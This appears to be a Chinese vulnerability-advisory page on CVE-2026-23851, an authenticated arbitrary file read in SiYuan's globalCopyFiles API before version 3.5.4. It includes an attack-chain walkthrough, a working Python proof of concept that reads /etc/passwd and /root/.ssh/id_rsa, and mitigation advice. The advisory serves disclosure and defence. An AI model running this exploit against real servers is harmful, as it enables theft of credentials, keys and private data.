IPBUF安全漏洞报告
English
CVE-2026-23851 CVSS 6.5 中危

CVE-2026-23851 SiYuan笔记 globalCopyFiles 任意文件读取漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23851
漏洞类型
路径遍历/逻辑漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SiYuan(思源笔记)

相关标签

路径遍历逻辑漏洞任意文件读取SiYuan思源笔记api/file.goglobalCopyFiles认证用户信息泄露CVE-2026-23851

漏洞概述

SiYuan(思源笔记)是一款面向个人用户的知识管理系统。在3.5.4之前的版本中,存在一处严重的逻辑漏洞,存在于/api/file/globalCopyFiles接口。该接口设计用于在应用工作区内复制文件,但由于缺少适当的路径验证机制,攻击者(已认证的低权限用户)可以利用此漏洞读取服务器文件系统上任意位置的文件。漏洞的核心问题在于globalCopyFiles函数虽然检查了源文件是否存在,但没有验证源路径是否位于授权的工作区目录范围内。这使得攻击者可以构造特定的请求,指定任意系统路径作为源文件,实现未授权的文件访问操作。该漏洞不需要用户交互,攻击者只需拥有基本的认证凭证即可利用,对系统机密性造成严重影响。

技术细节

漏洞存在于SiYuan的api/file.go源文件的globalCopyFiles函数中。该函数接收JSON请求体中的源路径列表(srcs参数),用于执行文件复制操作。代码逻辑使用filelock.IsExist(src)函数检查每个源文件是否存在,但关键缺陷在于缺少路径规范化验证和边界检查。攻击者可以通过以下方式利用:1) 构造恶意的srcs数组,指定系统任意路径如/etc/passwd或敏感配置文件;2) 发送POST请求到/api/file/globalCopyFiles端点;3) 服务器端代码不验证路径是否在授权工作区内,直接执行文件读取和复制操作;4) 攻击者获取目标文件内容。由于是已认证用户即可利用,且无需特殊权限,该漏洞可被低权限账户用于横向移动和信息收集。修复版本3.5.4增加了路径验证逻辑,确保源文件必须位于工作区目录内。

攻击链分析

STEP 1
步骤1
攻击者获取SiYuan系统低权限账户(通过注册或已有账户)
STEP 2
步骤2
使用认证凭证登录系统,建立有效会话
STEP 3
步骤3
构造恶意请求,指定任意系统路径作为源文件(如/etc/passwd、配置文件等)
STEP 4
步骤4
发送POST请求到/api/file/globalCopyFiles端点,服务器因缺少路径验证而执行文件复制
STEP 5
步骤5
通过正常文件读取接口访问被复制到工作区的敏感文件
STEP 6
步骤6
获取目标文件内容,实现未授权的敏感信息读取,可能导致服务器沦陷

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-23851 PoC - SiYuan globalCopyFiles Path Traversal # Target: SiYuan < 3.5.4 # Author: Security Research TARGET_URL = "http://target:8336" API_ENDPOINT = "/api/file/globalCopyFiles" # Authentication (low-privilege user) LOGIN_DATA = { "username": "attacker", "password": "password123" } def exploit(target_file="/etc/passwd"): # Step 1: Login to get session token session = requests.Session() login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=LOGIN_DATA) if login_resp.status_code != 200: print("[-] Login failed") return None # Step 2: Exploit the path traversal vulnerability # The vulnerable endpoint doesn't validate if source path is within workspace exploit_data = { "srcs": [target_file], # Arbitrary file path "path": "/temp/stolen_files/" # Destination in workspace } exploit_resp = session.post( f"{TARGET_URL}{API_ENDPOINT}", json=exploit_data, headers={"Content-Type": "application/json"} ) if exploit_resp.status_code == 200: print(f"[+] File {target_file} copied to workspace") # Step 3: Read the stolen file read_resp = session.get(f"{TARGET_URL}/api/file/getFile?path=/temp/stolen_files/{target_file.split('/')[-1]}") if read_resp.status_code == 200: print(f"[+] File content:\n{read_resp.text}") return read_resp.text else: print(f"[-] Exploit failed: {exploit_resp.text}") return None # Example usage if __name__ == "__main__": # Read sensitive files exploit("/etc/passwd") exploit("/root/.ssh/id_rsa") exploit("/opt/siyuan/conf/settings.json")

影响范围

SiYuan < 3.5.4

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对/api/file/globalCopyFiles端点的访问,或在反向代理层禁用该接口。同时监控异常的文件访问日志,及时发现可疑的文件读取行为。建议尽快升级到官方发布的3.5.4版本以修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表